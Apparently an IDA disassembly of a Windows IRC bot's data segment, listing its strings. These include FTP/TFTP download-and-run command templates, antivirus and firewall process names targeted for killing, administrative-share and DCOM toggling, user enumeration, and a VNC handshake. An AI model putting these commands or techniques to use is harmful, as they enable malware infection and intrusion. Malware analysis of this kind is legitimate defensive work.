unk_437AB0 db 2Dh ; - ; DATA XREF: sub_41B065+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
dword_437AD8 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_41B065+5Co
dd 65726165h, 64h, 0
aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: sub_41B128+C2o
db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0
aTftpISGetSS db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: sub_41B128+94o
align 10h
dbl_437B70 dq -3.0517578125e-5 ; DATA XREF: sub_41B325+2Br
aContinued db 'Continued',0
align 4
aContinue_0 db 'Continue',0
align 10h
aPaused_0 db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 10h
aStopped_0 db 'Stopped',0 ; DATA XREF: seg002:00443434o
aStop_0 db 'Stop',0 ; DATA XREF: seg002:00443430o
align 10h
aStarted db 'Started',0 ; DATA XREF: seg002:00443428o
aStart_0 db 'Start',0 ; DATA XREF: seg002:00443424o
align 10h
aListed db 'Listed',0 ; DATA XREF: seg002:0044341Co
align 4
aList_1 db 'List',0 ; DATA XREF: seg002:00443418o
align 10h
aDeleted db 'Deleted',0 ; DATA XREF: seg002:00443410o
aDelete_0 db 'Delete',0 ; DATA XREF: seg002:0044340Co
align 10h
aAdded db 'Added',0 ; DATA XREF: seg002:off_443404o
align 4
aAdd db 'Add',0 ; DATA XREF: seg002:off_443400o
aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_41B507+128o
align 10h
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_41B507:loc_41B61Bo
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_41B507:loc_41B614o
align 8
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_41B507:loc_41B60Do
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_41B507:loc_41B606o
align 10h
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_41B507:loc_41B5FFo
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_41B507:loc_41B5F8o
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_41B507:loc_41B5F1o
align 8
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_41B507:loc_41B5EAo
align 10h
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_41B507:loc_41B5E3o
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_41B507:loc_41B5DCo
align 10h
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_41B507:loc_41B5B1o
align 10h
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_41B507:loc_41B5AAo
db ' the service.',0
align 10h
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_41B507:loc_41B5A3o
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_41B507:loc_41B59Co
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_41B507+8Bo
align 8
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_41B507:loc_41B571o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_41B507:loc_41B567o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_41B507:loc_41B55Do
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_41B507:loc_41B553o
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_41B507:loc_41B549o
align 10h
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_41B507+38o
align 4
aSSS_3 db '%s: %s (%s)',0 ; DATA XREF: sub_41B681+EEo
aStopped db ' Stopped',0 ; DATA XREF: sub_41B681:loc_41B750o
aStarting db ' Starting',0 ; DATA XREF: sub_41B681:loc_41B749o
aStoping db ' Stoping',0 ; DATA XREF: sub_41B681:loc_41B742o
aRunning db ' Running',0 ; DATA XREF: sub_41B681:loc_41B73Bo
aContinuing db ' Continuing',0 ; DATA XREF: sub_41B681:loc_41B734o
aPausing db ' Pausing',0 ; DATA XREF: sub_41B681:loc_41B72Do
aPaused db ' Paused',0 ; DATA XREF: sub_41B681:loc_41B726o
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41B681+9Eo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_41B681+25o
align 4
unk_438134 db 2Dh ; - ; DATA XREF: sub_41B98C+394o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_41B98C+36Ao
align 4
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_41B98C+33Fo
align 10h
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_41B98C+317o
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_41B98C+2ECo
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_41B98C+2C4o
align 4
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_41B98C+299o
align 10h
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_41B98C+271o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_41B98C+246o
align 10h
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_41B98C+21Eo
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_41B98C+1F3o
align 10h
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_41B98C+1CBo
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_41B98C+1A0o
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_41B98C+178o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_41B98C+14Do
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_41B98C+125o
aGuest db 'Guest',0 ; DATA XREF: sub_41B98C:loc_41BAA5o
align 4
aUser_1 db 'User',0 ; DATA XREF: sub_41B98C:loc_41BA9Eo
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_41B98C:loc_41BA97o
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_41B98C+D4o
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_41B98C+ACo
align 4
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_41B98C+81o
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_41B98C+50o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41BD5A:loc_41BE73o
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41BD5A:loc_41BE6Co
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41BD5A:loc_41BE65o
align 10h
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41BD5A:loc_41BE5Eo
align 10h
aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_41BD5A:loc_41BE57o
align 10h
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_41BD5A:loc_41BE3Ao
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41BD5A:loc_41BE33o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41BD5A:loc_41BE2Co
align 10h
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_41BD5A+CBo
db ' the domain.',0
align 10h
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_41BD5A:loc_41BE01o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41BD5A:loc_41BDFAo
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_41BD5A:loc_41BDF3o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41BD5A:loc_41BDE9o
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41BD5A+85o
align 10h
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41BD5A:loc_41BDC3o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41BD5A:loc_41BDB9o
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41BD5A:loc_41BDAFo
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_41BD5A:loc_41BDA5o
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41BD5A:loc_41BD9Bo
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41BD5A+37o
align 10h
dword_4385A0 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: sub_41BE8A+A4o
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h
unk_4385CC db 2Dh ; - ; DATA XREF: sub_41BE8A+7Co
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 4
unk_4385F4 db 2Dh ; - ; DATA XREF: sub_41BF46+65o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_438618 db 2Dh ; - ; DATA XREF: sub_41BF46+4Fo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 4
unk_438644 db 2Dh ; - ; DATA XREF: sub_41BF46+33o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
unk_438660 db 2Dh ; - ; DATA XREF: sub_41BFBE+AAo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 4
dword_438684 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_41BFBE+88o
dd 73252720h, 27h
unk_4386A0 db 2Dh ; - ; DATA XREF: sub_41BFBE+56o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_41C07C+CEo
align 4
aNo db 'No',0 ; DATA XREF: sub_41C07C+BAo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_41C07C+B3o
unk_4386EC db 2Dh ; - ; DATA XREF: sub_41C07C+74o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_41C07C+1Do
align 4
unk_43874C db 2Dh ; - ; DATA XREF: sub_41C19B+B5o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 4
unk_438774 db 2Dh ; - ; DATA XREF: sub_41C19B+93o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 4
unk_4387A4 db 2Dh ; - ; DATA XREF: sub_41C19B+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 4
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41C265+144o
align 4
unk_4387DC db 2Dh ; - ; DATA XREF: sub_41C265:loc_41C350o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 4
aS_4 db ' %S',0 ; DATA XREF: sub_41C265+B8o
align 10h
unk_438810 db 2Dh ; - ; DATA XREF: sub_41C265+78o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41C265+1Fo
aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: seg002:004434BCo
align 4
aIrun4_exe db 'irun4.exe',0 ; DATA XREF: seg002:004434B8o
align 4
aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: seg002:004434B4o
align 4
aRate_exe db 'rate.exe',0 ; DATA XREF: seg002:004434B0o
align 10h
aSsate_exe db 'ssate.exe',0 ; DATA XREF: seg002:004434ACo
align 4
aWinsys_exe db 'winsys.exe',0 ; DATA XREF: seg002:004434A8o
align 4
aWinupd_exe db 'winupd.exe',0 ; DATA XREF: seg002:004434A4o
align 4
aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: seg002:004434A0o
align 4
aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: seg002:0044349Co
aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: seg002:00443498o
aTeekids_exe db 'teekids.exe',0 ; DATA XREF: seg002:00443494o
aMsblast_exe db 'MSBLAST.exe',0 ; DATA XREF: seg002:00443490o
aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: seg002:0044348Co
aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: seg002:00443488o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: seg002:00443484o
align 10h
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: seg002:00443480o
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: seg002:0044347Co
align 4
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: seg002:00443478o
align 4
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: seg002:00443474o
align 4
aZapro_exe db 'zapro.exe',0 ; DATA XREF: seg002:00443470o
align 10h
aMsblast_exe_0 db 'msblast.exe',0 ; DATA XREF: seg002:0044346Co
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: seg002:00443468o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: seg002:00443464o
align 4
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: seg002:off_443460o
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_41C444+183o
align 10h
dd 234032Dh, 636F7270h, 2D030273h, 6F727020h, 73736563h
dd 73696C20h, 61662074h, 64656C69h, 0
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
aPrivmsgSS_1 db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41C7F5+33o
unk_438A28 db 2Dh ; - ; DATA XREF: seg000:loc_41C9ACo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
unk_438A58 db 2Dh ; - ; DATA XREF: seg000:0041C9A5o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 10h
unk_438A80 db 2Dh ; - ; DATA XREF: seg000:0041C973o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 10h
unk_438AB0 db 2Dh ; - ; DATA XREF: sub_41C9D4+198o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
dword_438AE4 dd 234032Dh, 2646D63h, 52202D03h, 746F6D65h, 6F432065h
; DATA XREF: sub_41C9D4+150o
dd 6E616D6Dh, 72502064h, 74706D6Fh, 0
dword_438B08 dd 5C3A44h, 2444h, 5C3A43h, 2443h, 494D4441h, 244Eh
; DATA XREF: seg002:004434DCo
; seg002:004434D8o ...
aIpc db 'IPC$',0 ; DATA XREF: seg002:off_4434C0o
align 4
dword_438B28 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041CE70o
; seg000:0041D184o
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_438B58 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041CE5Ao
aNetworkSharesD db '- Network shares deleted.',0
align 10h
dword_438B80 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:loc_41CDF3o
aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_438BAC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041CDECo
aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 10h
dword_438BD0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:loc_41CD63o
aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_438BFC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041CD5Co
aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 10h
dword_438C20 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:loc_41CCBBo
; seg000:loc_41CFD9o
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 10h
dword_438C50 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:loc_41CCB4o
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
dword_438C8C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:loc_41CC9Co
aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 10h
dword_438CC0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041CC95o
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: seg000:0041CC76o
; seg000:0041CF98o
align 10h
dword_438D10 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041CC1Ao
; seg000:0041CF3Co
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
dword_438D40 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh
; DATA XREF: seg000:loc_41CBFCo
dd 62617369h, 2E64656Ch, 0
dword_438D60 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041CBF5o
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: seg000:0041CBDDo
; seg000:0041CEFFo
align 10h
dword_438D90 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041D16Co
aNetworkSharesA db '- Network shares added.',0
aC_0 db '%c:\',0 ; DATA XREF: seg000:0041D0D6o
align 4
aC_1 db '%c$',0 ; DATA XREF: seg000:0041D0C5o
dword_438DC0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:loc_41D058o
; seg000:loc_41D11Fo
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
dword_438DE8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041D051o
; seg000:0041D118o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_438E08 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:loc_41CFD2o
aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0
dword_438E44 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:loc_41CFBAo
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 4
dword_438E7C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041CFB3o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
dword_438EBC dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh
; DATA XREF: seg000:loc_41CF1Eo
dd 6C62616Eh, 2E6465h
dword_438ED8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:0041CF17o
aEnableDcomFail db '- Enable DCOM failed.',0
align 4
flt_438EFC dd 9.765625e-4 ; DATA XREF: sub_41D235+1B9r
flt_438F00 dd 8.0 ; DATA XREF: sub_41D235+1B3r
flt_438F04 dd 0.0 ; DATA XREF: sub_41D235+170r
flt_438F08 dd 1.0e-3 ; DATA XREF: sub_41D235:loc_41D39Cr
flt_438F0C dd 4.2949673e9 ; DATA XREF: sub_41D235+161r
; sub_41D235+1AAr
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D235+D5o
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dword_438F48 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_41D41B+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41D41B+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41D41B+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41D41B+B6o
align 4
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41D41B+AFo
align 4
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41D41B+A8o
align 10h
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41D41B+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41D41B+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41D41B+93o
align 4
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41D41B+8Co
align 4
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41D41B+85o
align 4
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41D41B+7Eo
align 4
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41D41B+77o
align 4
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41D41B+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41D41B+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41D41B+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41D41B+5Bo
align 4
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41D41B+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41D41B+4Do
align 4
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41D41B+46o
align 4
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41D41B+3Fo
align 4
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41D41B+38o
align 4
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41D41B+31o
align 4
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41D41B+2Ao
align 4
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41D41B+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41D41B+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41D41B+15o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41D5F8+39o
dword_439160 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
; DATA XREF: sub_41D779+24Co
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_41D779+161o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41D779:loc_41D8ACo
align 10h
aSS_4 db '%s (%s)',0 ; DATA XREF: sub_41D779+C0o
dword_439268 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_41D9E5+9Eo
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
off_4392AC dd offset word_412F4E ; DATA XREF: sub_41D9E5:loc_41DA52o
off_4392B0 dd offset loc_4E414C ; DATA XREF: sub_41D9E5:loc_41DA4Bo
aDialUp db 'Dial-up',0 ; DATA XREF: sub_41D9E5+57o
aNotConnected db 'Not connected',0 ; DATA XREF: sub_41D9E5+41o
align 4
db 2Dh ; -
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aUrlVisited_ db ' URL visited.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 10h
dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h
dd 4C525520h, 2Eh, 2A2F2Ah
dword_4393A0 dd 2 dup(0) ; DATA XREF: sub_41DCBE+16o
dword_4393A8 dd 2 dup(0) ; DATA XREF: sub_41DCBE+Co
; seg000:0041DE0Fo
aTftpISGetS db 'tftp -i %s GET %s',0 ; DATA XREF: seg000:0041DFB8o
align 4
aC_2 db '%c',0 ; DATA XREF: seg000:0041DF37o
align 4
dword_4393C8 dd 0DFFh ; DATA XREF: seg000:0041DE24o
dword_4393CC dd 0EBFFh ; DATA XREF: seg000:0041DE19o
dword_4393D0 dd 201h ; DATA XREF: seg000:0041DE04o
aRfb003_008 db 'RFB 003.008',0Ah,0 ; DATA XREF: seg000:0041DDF8o
align 4
aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: sub_41F116+Fo
align 4
aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: sub_41F116o
oword_439400 xmmword 3FF00000000000003FF0000000000000h ; DATA XREF: sub_41FCC0+E3r
oword_439410 xmmword 4330000000000000433h ; DATA XREF: sub_41FCC0+46r
oword_439420 xmmword 4330000000000000BFF0000000000000h ; DATA XREF: sub_41FCC0+10Er
oword_439430 xmmword 80000000000000008000000000000000h
; DATA XREF: sub_41FCC0:loc_41FDBDr
; sub_41FCC0+106r
oword_439440 xmmword 7FFh ; DATA XREF: sub_41FCC0+5Fr
dword_439450 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_420383+Eo
dd 3, 19930520h, 2 dup(0)
oword_439470 xmmword 3FF00000000000003FF0000000000000h ; DATA XREF: sub_4203C0+E3r
; sub_4203C0+10Ar
oword_439480 xmmword 4330000000000000433h ; DATA XREF: sub_4203C0+46r
oword_439490 xmmword 0 ; DATA XREF: sub_4203C0:loc_4204C1r
oword_4394A0 xmmword 7FFh ; DATA XREF: sub_4203C0+5Fr
dbl_4394B0 db 0, 0, 0, 0, 0, 0, 0, 80h ; DATA XREF: sub_4203C0:loc_4204BAr
byte_4394B8 db 0FFh ; DATA XREF: sub_4222C8+5Er
db 3 dup(0FFh)
dd offset dword_4209F0+6Ch
dd offset dword_4209F0+70h
align 8
dword_4394C8 dd 0FFFFFFFFh, 420EAFh, 420EC3h, 0 ; DATA XREF: start-C32F1o
byte_4394D8 db 6 ; DATA XREF: sub_4222C8:loc_422334r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
db 8,'`h````',0
dd 78707000h, 8787878h, 807h, 8080007h, 8000008h, 7000800h
dd 8
aNull_0: ; DATA XREF: seg002:off_4437D0o
unicode 0, <(null)>,0
align 4
aNull db '(null)',0 ; DATA XREF: seg002:off_4437CCo
align 10h
dword_439550 dd 0FFFFFFFFh, 422B6Fh, 422B73h, 41h dup(0) ; DATA XREF: sub_422B83-2Fo
